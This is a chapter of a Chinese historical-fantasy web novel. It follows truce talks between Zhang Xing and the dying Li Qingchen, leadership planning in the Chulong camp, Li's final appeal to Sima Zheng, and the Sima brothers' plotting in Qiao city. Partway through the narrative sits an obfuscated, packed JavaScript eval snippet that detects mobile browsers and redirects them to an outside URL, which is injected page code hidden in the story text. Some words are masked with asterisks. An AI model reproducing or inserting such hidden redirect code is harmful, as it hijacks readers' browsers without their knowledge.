李清臣沉默了一会,缓缓开口:“若是这般,你就真是个**的天生之才了。” 张行摇摇头:“既来之,且安之,若大魏蒸蒸日上,我说不得是个顶尖的大奸臣!” 乱世之贼首,治世之奸臣吗? “那你要当皇帝吗?若是当准备起个什么名号?”李清臣将乱七八糟的心思摒除,继续来问。 “当也可以,不当也可以,什么名号都无所谓。”张行实话实说。 “那你倒是豁达。” “不是豁达,我也有念想,我老早就想做至尊呢……若是能跟白帝爷一样证位至尊,皇帝不皇帝,皇朝叫什么名号不无所谓吗?”张行依旧坦诚。 李清臣终于扭头来看身侧这人,半晌方才笑道:“我也想过证位至尊,非只是我,这天下怕是有一半的人小时候都想过证位至尊,只不过几乎所有人的证位之路都早早被截断了,你现在还没有看到断头路罢了……这算什么念想?” 张行这次没有再做解释,一面是觉得没意思,另一面是他忽然莫名的看出来,对方虽然言语如流,可实际上却气虚空乏,只如夜间一盏将灭油灯一般,那面对这盏灯时自然不免小心……这厮是真要**。 就这样,两人安静了一会,还是李清臣重新开口:“我说这些,到底还是想问你,如果你最后不当皇帝,没证位至尊,那你做这些到底有什么用?不是白做了吗?” 张行想了一想,忽然醒悟,回头看了眼房玄乔,然后才正色来告李清臣:“李十二郎,若是你想验证房家小子跟你转述的言语,当然无妨,因为我从始至终都是这么计较的!” “但行好事,莫问前程?”李清臣冷笑反问道。 “是但行好事,前程自往上走,因为前程始终是有的。”张行正色相告。“只不过,这个前程未必是个人的,说不得便是前人栽树后人乘凉,也说不得是先往下走,再往上抬。” 李清臣缓缓点头:“具体**,房玄乔这几日已经跟我细细说了,我想问的,你是真信这个吗?” “我当然信。”张行笑道。“不过未必是你想得那种‘信’,我这个信,不是靠意志、德行那种信,而是更类似于相信春夏秋冬、三辉四御、天地陆海的信,是相信火能融冰,冰化了是水的这种信,我觉得这就是天地间基本的道理,不会因为人的念头动摇……而且,也不光是好事,若行坏事,前程自往下沉。” 李清臣沉默许久,方才叹气:“这就是症结所在,我信你是真信这个的,但我没法证实它,也没时间证实了……” 张行默不作声。 李清臣忽然回头:“秦二,你信吗?” “我信。”秦宝在后面几步的距离摊手以对。 “你能懂这个?”李十二郎面露不屑。 “三哥信,我信三哥,自然也可以信。”秦宝自有他的道理。 “也是一个说法。”李清臣转过头去,对着波光粼粼的河面笑了笑。“而且像他这种人委实不少……” 话到这里,这位靖安台少丞复又肃然起来:“但这个法子于我无用,我是注定不能得其道了。” 张行一声不吭,秦宝则盯住了这个算是生死之交的背影,更远一点的位置,房玄乔心中则幽幽一叹。 过了不知道多久,李清臣方才继续言语:“那就不说闲话了,秦宝跟我说了你们的意思,但我只负责传递条件,绝不会为你们做多余计较……若是退兵,你们能给什么?” “俘虏。”张行脱口而对。“三万禁军俘虏,可以尽数交还。” “这倒是盘硬菜……怪不得你有底气来此。”李清臣微微颔首。“还有吗?” “之前俘虏的禁军随从人员里,无论是工匠、内侍、宫人,只要是家在东都的,他们又乐意回去东都,我们都可以放回。” “皇帝和太后呢?” “不可以,我们黜龙帮就是为了反魏才起来的,大魏皇室便是我们黜的第一条龙,怎么可能放回去让你们继续供着当皇帝?” “那禁军俘虏里,包括司马化达跟司马进达吗?”李清臣顿了一下,继续追问。 “不包括一卫将军以上的人。”张行划出了线。“这一战是他们违约挑起来的,冤有头债有主,这些人被我们捉到便归我们处置。但反过来说,没被我们抓到也不关我们事,司马兄弟如今尚在城中,不是我们俘虏,你们如果确实想要,也不是不能让开道路,只他们有什么意外,也不是我们黜龙帮要承担的。” 李清臣点点头,不置可否:“鱼皆罗老将军必须要回来。” 张行笑了笑:“十二郎,你露怯了,鱼老将军没在我们手里,他跑了,这位老将军经验太丰富了,一下子就嗅到了我们的包围,早早如一条鱼一般钻出去了……不过,你也别指望他能助你们,因为他是从三汊泽那里钻过去,然后渡过淮水走的淮南。” 李清臣一愣,也不由笑道:“原来如此,确实是我露怯了,我只看你们兵马齐备,还有追击张虔达他们的别动军,便以为鱼老将军那里已经覆没。” 张行笑而不语。 “地盘怎么划?”李清臣收敛心神,继续来问。 “你们想怎么划?”张行反问。 “很简单,谯郡这里双方以涡水为界,再往北,以郡界划分,你们是梁郡、东郡,我们是淮阳郡、颍川郡与荥阳郡。”李清臣言之凿凿。 你在想屁吃! 下面王五郎都差点抬起宝弓了。 “荥阳自然是我们的,独龙囚关归你们,淮阳也可以认了赵佗,但谯郡当然也是我们黜龙帮的。”张行并没有生气,反而给出了一个极为优惠且极为出其不意的条件。“不过,河内郡咱们可以以沁水入河口那段线为界,把大部分河内郡都给你们……之所以不能全给,是因为我们不能把荥阳郡北面隔河暴露出来……你看怎么样?” 下方王五郎懵住不说,便是李清臣都有些懵了,半晌才来反问:“这么宽大吗?” 当然宽大,因为两个世界相似的地理环境,河内郡一直是最顶尖的大郡,经济发达、人口众多,而且还是东都的北面屏障,这个条件自然宽大。 “没什么可计较的。”张行坦诚以对。“我们黜龙帮意欲在北,并不想跟你们包括白横秋过度纠缠,河内郡固然民丰物饶,但却夹在晋地与东都之间,给你们,我们只要防御红山、紫山几条通道就行,你们也能获得东都屏障,何乐而不为呢?” 李清臣思索片刻,微微颔首:“若是这般,也不是不行。” “还有什么吗?”张行追问。 “没有了,还能有什么?”李清臣反问。“你总不会想问月娘和秦二他母亲的事情吧?我也好,司马正也好,是这类人吗?” “当然不是说这个。”张行摆手笑道。“我是说,不用签一个合约吗?双方约定疆界、停战三年或五年,不禁商贸旅人,共同维护官道、航道……” “你在想什么?”李清臣有些无语。“东都里的那些人会允许朝廷跟天下最大的反贼构约?” “可以是密约。”张行迅速答道。“然后心照不宣便是……诚如你所言,我难道信不过你跟司马二郎?” 李清臣沉默片刻,正色给出答复:“若是这般,我这里是可以说给司马二郎听的,但你们不要以为我就能如何动摇他……” “不是指望你动摇他、说服他,而是希望十二郎你能让司马二郎恢复清明,拿出一方领袖的姿态来做事。”张行叹道。“不能人没死,心先钝了。” 李清臣点点头。 张行看了看对方,继续来问:“那就这样?” “就这样。”李清臣点了下头。 张行便回头往下走。 走了数步,后方便再度出言:“忘了件事情,司马化达的话,尽量帮我们弄死……这不是司马大将军的意思,是我私人请求。” 张行回头笑了笑:“十二郎的面子自然要给。” 李清臣点点头。 张行复又继续往河堤下行。 这时候,身后再度来问:“张三郎,你也喜夏日风景吗?” 张行这次没回头,只缓缓做答:“以前其实不怎么喜欢,现在渐渐喜欢了,若是能有一杯冰镇的酸梅汤,那就更喜欢了。” 李清臣点点头,目送对方翻身上马离去。 天亮以后,两军犹然对峙,并围绕着昨日战场的打扫继续发生小股冲突,而在早炊之前,李清臣便渡河见到了军中主帅司马正。 闻得李清臣来到,司马正非但不喜,反而有些惊惶之色。 但是,司马正到底是个有担当的,沉思不过数息,其人便起身主动去迎,并将对方亲自引到中军后帐。 双方坐定,司马二龙先做埋怨:“十二郎,你怎么这般不爱惜身体,东都内外,许多事都还要仰仗你!” 李清臣坐下来,喘了许久方才止住,想了一想,复又苦笑起来。 司马正见状心里发毛,不由来问:“有什么好笑的吗?” “确实好笑……”李清臣依旧苦笑不止。“司马二郎,我实在是不想逢人便说‘我要**’,结果还是要一而再再而三来说‘我要**’……都快**,如何保全身体?还什么东都内外事宜?” 司马正面色不由有些尴尬。 “我今日过来,是请大将军出去夏游的。”李清臣见状也不计较,反而自顾自提议道。“夏日景盛,咱们去涡河上游玩一下如何?” 司马正愈发尴尬:“十二郎,你要说事情,在这里说就行,我凝丹时便学会以真气阻隔声音了,何况现在?” “是真的想出游,就去大营后面的涡河上看看。”李清臣催促不及。 司马正心中其实有些猜度,再加上看到对方身体,却也无奈:“你想出去看看,那我随你走一走便是。” 说着,便仗着自己修为,自备了十几骑,随李清臣一起出去往北面涡河沿岸去了,沿途走马观花,以真气扶持对方,自不必多言。 而李清臣难得出来,沿途赏景,吟诗诵辞,丝毫不提军务公事,却也不可能让司马正渐渐放下心来。 另一边,张行早上擂鼓聚将,用了“廊下食”,闲谈了几句,分派下今日的军务,又在众人离去后就在夯土将台上与李定、雄伯南、徐世英几人说了昨夜去见李清臣的事情。 昨夜去的时候,跟他们做了一声知会,但回来后还没来得及说具体事情。 而几人闻得讲述,反应不一。 “把河内让出去?”雄伯南显得有些不理解,其实就是反对。“至于如此吗?” “把河内让出去不是不行。”徐世英也有些幽幽之态,但他的角度有些不同。“但要是把河内让出去,几个行台就有些不平衡了……原本魏公所在的这个邺城行台有大魏之前的陪都,有四个全天下都顶尖富庶广大的郡,还有个残存了不少粟渣铜钱的黎阳仓,正好承载大行台……可现在把大半个河内让出去了,谯郡与荥阳却保住了,那济阴行台坐拥六个郡,比大行台所居行台都要大,是不是不妥当?” “这事简单。”张行脱口而对。“咱们可以把徐州这个总管州恢复到原来的三郡之地,然后让谯郡还有徐州三郡中的彭城郡凑一起,再建个小行台;徐州剩下的下邳、东海跟琅琊凑一起,又是一个行台。” “这样便妥当了。”雄伯南松了口气,却又觉得哪里不对。 “这两个行台让谁来领?”徐世英忍不住来问。 “谯郡加彭城这个,是济阴行台的延续,都是要直面东都势力的,我推荐伍惊风伍大郎,让他升龙头。”张行认真道。“但莽金刚不能让他再自行其是了,这是浪费,要他们跟十三金刚整合起来北上,随大行台行动,或者最起码在济阴与邺城两个行台里,方便集合。” “也该是伍大郎,资历、修为都在那儿呢,原本还有些半路过来的隔阂,河北一战也消磨了,关键是这地方正合适他。”雄伯南认可的点了下头。“而且两个郡的行台大家也不会说什么……那徐州呢?东海、琅琊、下邳这个可是个大镇,不比原来的徐州差……王五郎吗?” “徐州是这样的。”张行说了自己想法。“首先不管谁来做,小周都应该过去副手,然后我有意留王五郎做直属部队的大将,而徐州那边想交予牛达来做……当然,若是叔勇一意想做一任龙头,也可以尊重他的意见,毕竟,牛达没法跟王五郎争夺。” 说是尊重,但首席这般话说出来了,就是要抬举牛达了。 雄伯南想了想,认真道:“周大头领去是必然,但王五郎那里咱们须轮番与他说一说,看他愿不愿意。” “自然会给他个名头。”张行补充道。“加大行台行军总管如何?给龙头的身份也行?” “首先是王五郎,若五郎愿意留下领兵,就该是牛大郎了。”雄伯南点点头,既赞同又没完全赞同。“龙头太多了吧?” “其实。”就在这时,徐世英忽然又来参详。“若是让淮右盟回淮西,将谯郡跟徐州西边划给他们,然后咱们自徐州进取淮南,江都立一个行台,寿春再立一个行台又如何?” “那河内呢?”眼看着三人沉浸于山头人事与嘴上开疆,李定忽然插嘴来问。“两位也认可将河内送出去了?” 雄伯南和徐世英各自一滞,随即,徐世英率先反问:“李龙头如何看此事?河内可以送吗?” “我觉得莫说河内,荥阳都可以送,谯郡也可以送。”李定给出自己意见。“都可以送!现在全军看似赳赳,其实处在一个非常危险的境地……不能拖下去了。” “李龙头难道担心战事……” “不是战事,是军心士气,是老兵的磨损。”李定正色道。“跟白横秋打了一个月的艰难战事,死伤那么大;然后南下匆匆整编,又打了一场大仗……其实,刚刚过去这一仗已经能看出来了,部队成建制动辄被全歼,动辄就崩溃,本意就是军心疲敝,老兵损失太多,若是再来一场一个月的消磨加一场大战,怕是真要伤筋动骨的,原本一两年就可以并吞河北的一下子变成四五年也说不定。” “正是这个道理。”张行立即表达赞同。“我就是怕这个才如此计较的……咱们要分清楚真正的利在哪里?肯定要全河北,甚至北地,然后再并力以取天下,这个路线不能轻易动摇,而且做事的时候要尽全力让自己只往一个地方使力气才对……也正是为此,不光是东都这里,南方也要使手段,尽量不跟那个什么梁公直接接触,让淮右盟去淮南,当我们的盾牌。” “若是首席有全盘考量,我便赞同。”徐大郎第一个纠正了方向。“而且若是这般我也晓得首席让牛达去徐州的缘故了……那里不用多激烈的战事,更多的是支援作用,要的安稳不出错,王五郎不合适。” “不错。”雄伯南也点头。“要是这么说就妥当了……从今日开始,咱们陆续的跟下面头领讲一讲,让他们心里有底?” “好。”张行旋即点头。“咱们分头说一说,从议和的道理到可能的人事,都去说。不过,今日先把眼前事做了!” 说着,便也起身离开了中军,准备今日之事。 且说,张行选择昨日夜间去见李清臣,包括司马正选择昨日一早发兵对阵,恐怕都不是什么偶然……因为黜龙帮的援兵将于今日抵达……司马正为了维持兵力优势,所以发动了昨日之战,而张行则希望今日抵达的援兵能够在某种程度上震慑或威胁到东都军,让对方配合着谈判条件知难而退。 上午时分,第一波援军抵达,这是大约四个营的兵力……之所以说是大约,是因为理论上应该是五个营,但其中三个营都是巡骑营,来自于河南六郡、隶属于军法部的巡骑,他们注定不可能来的太齐全,只能只能先到王焯那里做汇集,凑出两个营的样子,对应的,剩下两个营则是军法营……这些原本直属于军法部的兵力应该是在荥阳一带充当疑兵,对东都军进行战略欺骗的,但显然没有起到作用。 故此,随行的头领不止是有柳周臣、张金树、张亮这些人,还有参谋分管马围。 外务总管谢鸣鹤、蒙基分管张世昭也带着冯无佚一起抵达。 几位留在北面的“金刚”,包括掌军的白金刚、瘦金刚等人也都扔下部队,匆匆随行。 这支部队从南往北来,而且一开始就暴露在东都军视野内,自然是心照不宣的事情,来到涡水后更是一分为二,一部渡河往大营而来,另一部分直接去了谷阳城下的王五郎军营,这就看的更清楚了。 “张三辛苦四五载,已使黜龙帮巍巍然庞然大物,不是能一蹴而就的。”相隔一条涡水,李清臣看着河对岸的这一幕,不由幽幽而叹。 “十二郎让我来这边游玩,只是为了看这个说这个?”司马正笑道。“这些我难道不知道吗?这支兵马早在我们计较之中,至于一蹴而就这话,白横秋也已经亲身证了……十二郎,我从未小瞧……” 司马正刚要展开却又止住,因为对方忽然便要下马,他只好赶紧协助。 而李清臣俨然病入膏肓,即便是在一位顶尖宗师的隐性协助下也显得艰难,下马之后更是有些立足不稳,竟然缓缓坐在了河堤之上。 司马正看着眼前之人,心中五味杂陈。 他入主东都,虽说是替曹林填坑,但他之前在徐州难道不是陷在坑里?归根到底,这事是你情我愿、相互成就的。而这个过程中,在曹林死后实际上控制东都城防力量与特务力量的李清臣,也实际上算是人家靖安台真正的直系继承人,却选择了无条件的协助自己。 从东都的移交到此行淮阳的挺身而出,且不说为什么,也不需要问为什么,这个姿态就足以让人感激了。 更不要说,对方多少算是昔日西都、东都优游之伙伴……尤其是当日之少年青年之伙伴,十之**烟消云散,少数几个留下的,居然多在对面,辗转反侧之后,还能同列而坐的,竟也只剩下了寥寥几人,如今竟也要无了。 一念至此,司马正也不禁黯然起来。 随即,其人一声叹气,主动来问:“这一战十二郎有什么主意吗?” “很简单,从眼下具体的事情来说,我们是来救援禁军的,现在也应该如此……禁军败了,还有俘虏,趁着黜龙帮不愿大战的优势,将禁军俘虏都拿回来。”李清臣坐在那里,缓缓来道。“而不是跟黜龙帮打的你死我活,杀敌一千自损八百。” 司马正没有吭声。 “至于说大的局面。”李清臣继续言道。“黜龙帮大势已成,不大可能一蹴而就,白横秋跨关陇、晋地、巴蜀,势力更大,隐隐就是重现昔日大魏初创时的局面,也不可能轻易对付过去……我们居于其中,势力其实最小,首先要做的应该是安抚人心,稳固地盘,然后择机而战,缓缓扩充……战略上就不该主动寻衅。” 司马正幽幽道:“正是因为是三家最小且居于其中,若不趁着西面白横秋抽不出手在东面能胜一仗,那东都外围诸郡怕是都要被黜龙帮兵锋所压,不得安生,到时候便会顾此失彼……” “都说了黜龙帮不可能一蹶不振……”李清臣有些无力。 司马正也有些尴尬,沉默了一会,方才来问:“张行让你送的条件是什么?” 李清臣摆摆手:“先不说这个,我怕现在说了以后就我没有那个力气和勇气与你做辨析……有酸梅汤吗?算了,想来也没有,来些酒菜,不用多,我吃不了多少,送来一下。” 晓得此间大局关键在眼前人身上,司马正自然无话,便遣人去取酒菜。 另一边,张行迎接了援军头领们入营,自然也要稍作招待。 而几人在夯土将台上落座,便有人迫不及待:“张首席,此时与东都军如此大战有何益?当日与禁军作战,首席都犹疑不定,只是做好大战准备,今日又怎么能连番开战?” 话说,整个黜龙帮大营上下,普遍性还是以为能战、敢战的,便是张行跟李定等人觉得不该战,在之前局势处于一定劣势的情况下,为了维护战意,也都只是拿河北方向可能有危险吹吹风,停战议和的事情更是只在最高层进行讨论。 故此,此人既出此言,在场许多头领都微微皱眉……昨日司马正确实厉害的紧,但如今十三金刚齐至,又如何怕了对方? 而张行循声望去,看到是张世昭,也不由失笑:“张分管想多了,我们如何不晓得这一战不该打?便是之前一意觉得要跟禁军开战的李龙头,如今也一意主张议和了。” “正是这个道理。”不待李定出来背锅,张世昭便扬声言道。“不光是这一战,放到天下大局上来说,我们若要用心河北与北地,反而要跟东都一定时期内维持和睦才对,战略上的事情,说白了就是尽一切努力只对上一家敌人为上。” “张分管金玉良言,我们自然要准备议和,只是议和前还有一件事要处置,还要等下午才好办。”张行连番颔首,复又去看神色比较难看的几人。“马围、张金树,你们也不要太失落,对方躲在关后调度兵马,你们察觉不到也寻常,咱们记功记过就行,不要耿耿于怀。” 马围等人方才面色稍缓,却还是有些低落。 张行复又看向了冯无佚:“老冯,你来的不巧,原本请你来是要借你在江都与禁军之中的名望来与禁军接触,如今他们已经战败,如今更重要的是河北,却又再借你在河北的根基,去拖住薛常雄了。” 冯无佚低头想了一想,认真来问:“听说帮内已经宣告了大魏覆亡,然后要将太后和皇帝送到帮内治下以平民身份安置?” “是,你有想法?” “有。”冯无佚恳切道。“如果可以的话,请首席开恩,让太后与皇帝送到我那里去供养……不是信不过首席,而是说一方面算我个人对两位的恩情,另一方面是要借这两位来震慑薛常雄……薛常雄到底是没能真正割据,没能脱离大魏窠臼,总是有效的。” “可以。”张行略一思索,便给了答复。“但不是供养,而是安置……他们既是平民,可以按照孤寡照顾,却不能再养尊处优了。” “好。”冯无佚立即起身。“如此,老夫现在就回河北,尽量替帮内牵扯薛常雄,让他无法出手。” “老冯。”张行见对方如此痛快,南北往来不计辛苦,也起身恳切给出承诺。“你告诉薛常雄,只要他这次没有出手,日后又没有发疯,我们心里是会有个计较的,总会让他体面。” 冯无佚点点头,居然直接拱手离去。 目送对方离开,众人好半天没反应过来,半晌,还是李定出言:“不对,禁军不是还有一部吗?让老冯试一试如何?” “不必了。”张行先是摆手,复又抬手指向了谯城。“诸位,我刚说议和前还有一事要做,正是说要将谯城了断……待下午援兵到了,借兵势之威,先让城内动摇,然后晚间突袭,天王与十三金刚都要准备妥当,务必处置了司马兄弟,复借此来威慑司马正,以图议和。” 弄**人家爹和叔叔,好达成议和? 许多人尚在懵懂,另外许多人却也醒悟,这些天不停写信什么的,却也让不少人记住了司马正的尴尬**立场。 当然,也有人本来就明白,只是计较别的事情罢了。 “下午还有援兵?”张世昭略显诧异。“有多少?” “四万!”张行脱口而对。 这一次反过来了,除了极少数人外大多数人都知道。 张行没有扯谎,确实是四万大军,有之前去支援淮右盟的四个营,还有淮右盟自己的三万多人,只不过淮右盟部队那个尿性,除了一万太保军和几千**兵外,其余各部将将与对面的淮阳郡卒相提并论罢了。 但也足够了,尤其是眼下,尤其是淮右盟的部队根本是黜龙帮常规动员力之外的存在。 实际上,根本没有到下午,中午时分,便已经有淮右盟的先头部队迫不及待抵达了,而最先发觉这个的敌军阵营部分,赫然是谯城上的最后一股禁军残余。 不知道是不是天热的缘故,司马化达居然没有着甲,只一身布衣立在了城头上,正望着这另一支南来的、旗号分明的、根本一眼望不到头的援军若有遐思。 这一支部队,足以改变两军的实力对比,最起码让黜龙帮从所谓局部劣势上彻底翻转过来。 有意思的是,立在那里的司马进达居然没有半分不安之态。 甚至反而有一丝释然的感觉。 “七将军。”也不知道看到什么时候,忽然间,有人小心翼翼来请。“丞相请你去喝酒。” 司马进达回过头来,笑了笑:“那就去喝一杯吧。” 那人似乎有些愕然于对方态度,但还是应了一声,而司马进达已经走了下去,步入城墙的阴影中。 这一支南来的援军,加上上午抵达的北面援军,黜龙军陡然获得了近五万之众的援护,兵力当场翻番,立即引发了全面震动,到了下午时分,东都军察觉以后,更是全面收缩,完全放弃了与黜龙军的小规模缠斗,相对应的,黜龙军上下则士气大振,彻底从昨日金甲巨人的阴影中走了出来。 而这个时候,张行接到了一个意外的、奇怪的,却似乎又不怎么意外和奇怪的要求。 “首席,能不能趁着这一战将老杜留在你身边?” 第一个抵达的淮右盟核心人物是带领数千淮西**兵的辅伯石,他来到之后,直接请张行借一步说话,刚一转到边角处,却语出惊人。 张行愣了数息的时间,终于意识到是怎么回事:“你怕他落不得好下场?” 夏日烈阳下,辅伯石低头黯然以对:“这是在下唯一能想到的法子了……而且,不光是他,也是为了淮右盟的其他兄弟。” 张行叹了口气。 坦诚说,他并不确定辅伯石这番话到底几分是为了杜破阵的前途,几分是为了自家前途,或者两者并不冲突,但不得不承认的是,如果按照对方的要求来做,一来依杜破阵的性格和威望,肯定不服,甚至会闹出事情来,包括辅伯石在淮右盟那里说不得也会出事;二来,黜龙帮确实需要一个有活力的集团来为黜龙帮做针对江南势力的缓冲。 所以,他注定不可能答应。 当然,这不妨碍他对辅伯石从此高看一眼。 片刻后,辅伯石明显失望离开了这个将台侧后方营帐的拐角,在许多人的诧异目光中回到了将台,而隔了许久,张行方才缓缓踱步而出。 其人也没有直接上夯土将台,只是在下方来看,只见周围纷纷扰扰,帮内数不清的头领们在相互勾连,也不知道是**友谊还是私欲横行,而络绎不绝的援军部队使得大营陷入到了一种近乎于焦躁的境地,所谓到处都是尘土飞扬,到处都是人。 一切都显得那么庸俗,就连今日的风儿都显得有些喧嚣。 但张行只是看了一看,便迎上几人的目光走了上去,然后安然坐在了那面已经被夏风卷起的红底黜字大旗下,重新加入到劝说与讨论中去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167989|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以,你要我看的是这个?”相隔颇远的涡河河堤上,司马正似乎察觉到了真相。“黜龙帮的援军远超咱们想象?淮右盟举全盟之力来援?咱们此战已无太多胜算?” “我带你来这里,真不是为了看这个,而是真为了看风景。”坐在河堤上已经有些微醺的李清臣有些无奈的、被动的开始了自己蓄谋已久的表达。“司马二郎,你觉得这夏日风景如何?我是认真来问。” 司马正闻言强行收敛心神,四下去望……虽说涡河两岸双方兵马犬牙交错,营寨、沟垒、城池密布,数不清的军士队列往来不停,甚至他修为高深,就在此时此地也能闻得大营内外本方部众的不安与焦躁……但抛开这些,去了前几日雨季浑水的涡水却也清澈了起来;河堤河下花草俱盛,争奇斗艳;再往远处去看,军马营地之外,旷野之中全盘绿意盎然,既是绿木,更多的则是这片膏腴之地上的庄稼。 当此时也,夏风一动,绿浪翻滚,花树齐摇,河水碧波荡漾,推陈出新着就往下游而去。 这是雨季之后,典型的夏日的中原地区生机勃勃万物竞发之态。 司马正看了片刻,回头正色道:“夏日风景怡人,可惜我不通文学,难以描述。” “那就好,那就好。”带着酒气的李清臣闻言居然咋喜。 司马正自然不解。 “我听人说,天人交感,一个人,若非心如死灰,断不会视夏日风景为无物的。”李清臣随即解释。 “十二郎说的什么话,我怎么会心如死灰呢?就凭淮右盟那几万在我手下走过残兵败将?”司马正一时无语。“还是说你已经心如死灰了?” “我若心如死灰,如何要强撑着东都等你来?又如何要带着最后一口气来帮你取淮阳又至于此呢?”李清臣脸颊微红,失笑反问。“只是觉得你既还能观风景,便是还能听劝罢了,否则也不说了。” 司马正顿了一下,然后正色来对:“十二郎,你有什么话不妨直言。” “司马二郎。”李清臣平静言道。“大概是曹皇叔受重伤的同时,我大概也就发觉自己一年半载内必死无疑了,那你觉得我这将死之人为什么要拼却性命又收拢东都等你,又南下淮阳助你钳制赵佗呢?反正要**,在家里躺着,这个时节正是都中酸梅汤盛行的时候,喝汤也好喝酒也罢,一边喝一边等死不好吗?” 司马正想了一想,略显犹疑:“前一件事是因为曹皇叔之恩,后一件事是因为……因为你想为东都多存几分折冲余地?我着实惭愧,不能尽言。” “都对,但太具体了……笼统来讲就一句话,我觉得做这些事情比留在家里等死有意义,哪怕我要**,这些事情也是有意义的。”李清臣娓娓道来,却渐渐激烈起来。“司马二郎,我想说的也就是这个,你做事情想的太多了,不要老是觉得这么做值不值得,或者那么做哪里没有顾忌好,然后耿耿于怀……要我说你从出仕以来,做的所有事情,都是光明正大理直气壮的! “移镇东都这件事情上,你觉得忠孝皆不得,可我却觉得乃是忠孝皆得,因为那个**人皇帝在那里,你们司马氏于禁军的影响在那里,你留下要么是父子相残要么助父弑君……更不要说,你回到东都,使数万禁军得以归乡,使东都百姓和成千上万的大魏遗老遗少得以安顿! “你想一想,若你不来,东都是不是要沦为白横秋与张行交战的战场?他们便是畏缩是不是也都要硬着头皮去争?最后东都化为鬼蜮? “所以,你来东都,功莫大焉! “这件事上,哪怕你父亲怨恨你,哪怕大魏已经实际上亡了,哪怕张三那里整日鼓捣他的一份道理拉走了那么多人,你也是忠臣孝子!你没有让自己跟父亲一起去弑君,没有让自己跟那个皇帝去作孽,反而护住了那么多人!足够好了!” 司马正依旧一言不发,只是盯住眼前将死之人。 而后者在喘了几口气后继续缓缓来言:“司马正,人生于世太难了,如我这种本没有多少天赋还自以为是的人,少年浪费光阴,中年蹉跎受挫,一辈子能在死之前做点事情……就是你说的,能替有知遇之恩的曹皇叔维持几日局面,能让东都不**的把你迎进来,能替你钳制一下赵佗让他降服,我已经很知足了! “这几件事情,在张行李定思思姐和你这种人看来根本什么都不算,但那又如何?我尽力而为了!我虽死,做的事情却能影响下去,哪怕后来人不知道我是谁,我也使一些人一些事往好了去。更何况,还有安一舍之丈夫;救一命之良人;鸣一怒之豪杰……这些人难道不该称赞,难道活的没意思?而你呢?与我相比,与这些人相比,你空有这般能耐,行事却瞻前顾后,轻重不分,纠结这个,缠怨那个,这算怎么一回事?” “惭愧。”司马正终于勉强开口。 “司马二郎,我这里有一番道理,你且听着。”下午阳光照射下,李清臣面色红的有些不正常。“这天下事有一举必有一得,不过这个得并不定是立即就能得,可能会先失再得,可能是己失他得,可能是死后再为生人得……所以,你有举天下事的能耐,就不该不举,你有使天下得的本事,就不该不做……你说对不对?” 司马正看着对方,终于低头:“那该怎么做呢?” “张行愿意交换将军以下所有俘虏,外加东都北面的大半个河内,换取两家罢兵,修密约不战三到五年。”李清臣缓缓给出了条件。 话到这里,李清臣如蒙大赦,整个人都萎靡了下来,干脆躺倒在了河堤上……他已经尽力了,若是司马正还钻牛角尖,那他这个废人、**就真的没法子了。 司马正闻言站起身来,远远望着南面的喧嚷,过了许久方才都没有吭声,但似乎是意识到这么做的不妥当,意识到身后等他答案的这个人都快**,他还是叹了口气,说出了最后的症结: “这个条件确实极好了,但我父亲跟我叔父怎么办?尤其是我父亲,他回来是个**烦,不回来也是个**烦,我跟张行把他当一回事个麻烦,不当一回事也是个麻烦……十二郎,你说我怎么办?” 没有人回答,司马正一开始没有在意,只当对方也无法应对这个疑难,但是片刻,随着一阵聒噪的夏风吹过,其人心中微动,缓缓转过头来,却是愣在当场。 李清臣忽然**,果然**,终于**,他在尽力挣扎之后,将最后一口气咽了下去。 因为一直气若游丝,连司马正都没有注意到这口气是什么时候咽下去的。随即,这位东都之主茫然起来,慌乱起来,复又在河堤上悲恸起来。 谯城城内,气氛也不是很好,焦躁的夏日似乎让所有人都陷入到了一种明明不安却不顾一切奋力挣扎的态势。 “黜龙帮大局已定了。”依旧盘坐在首位上的司马化达双目满是血丝,端起酒杯一饮而尽,很显然,外面突然到来的大股援军给了他巨大的压力。“这张三怎么就这么厉害?不就是一个贼吗?!” 说完,更是将酒杯愤愤砸在几案上。 “既来之则安之。”坐在左面的司马进达从容给自己满了一杯酒,依旧还是那些话。“真到了那个时候,咱们一起逃,能逃走就逃走,逃不走,我且宰了你,断不会让司马氏的家主被俘的。” 司马化达黑着脸注视对方饮下一杯酒,然后忽然转向了封常:“封舍人,你跟虞常南还有联系吗?” 封常措手不及,赶紧摆手。 未及开口呢,司马化达便迫不及待提醒:“不要跟他联系了,虞常南恨极了老七,跟我们不是一路人。” “这是当然。”封常赶紧起身应声。“何况属下也的确没跟他联系,那封信是他故意的,是离间……” “你没懂我的意思。”司马化达不耐道。“我的意思是,让你寻一个别的门路,看能不能联系到诸葛德威,从他那里降了!” 封常当场愣住,而司马进达也停了宴饮,冷冷去看自家兄长。 “诈降。”司马化达无奈解释。“诈降,以麻痹他们,然后我们再突围就好很多了。” 司马进达点点头,继续来倒酒,又从容饮了一杯,然后吐了一口酒气出来。 司马化达叹了口气:“既要作诈降,得有全套,咱们先把令狐行跟牛方盛做礼物送出去如何?” 怪不得没让断腿的牛方盛过来,封常一时汗流浃背。 但下一刻,他就汗都不敢流了。 “令狐行已经被我杀了。”司马进达忽然提醒。 “什么时候?”司马化达目瞪口呆。 “刚刚。”司马进达指着外面的风尘。“见到黜龙帮援军大举抵达,我便晓得咱们这里不好了,不能指望救援了,就立即处置了。” 司马化达盯住了自己的兄弟,然后忽然一笑:“老七,你还是这般果决!” “人不该犹疑不定,犹疑不定只会让事情更糟,这是父亲生前教导的。”司马进达叹了口气。“该出手时就出手。” 司马化达点点头,忽然来问:“老七,你也不要再说瞎话了,你是不是担心我要投降,准备提前带我突围?” 司马进达点点头,复又摇头:“我是担心你要投降,所以准备先杀了大兄,一了百了……毕竟,按照我对大兄的了解,你若能降,断不会跟我一起冒险冲锋陷阵的……我最后问一句,大哥,现在跟我走,咱们现在就突围,好不好?” 司马化达沉默了一会,在封常的斜视与自家七弟的注视下慢慢开口回应:“我跟你走,但既是突围,等晚上不好一点吗?白天不过是自投罗网罢了。你说对不对,封舍人?” 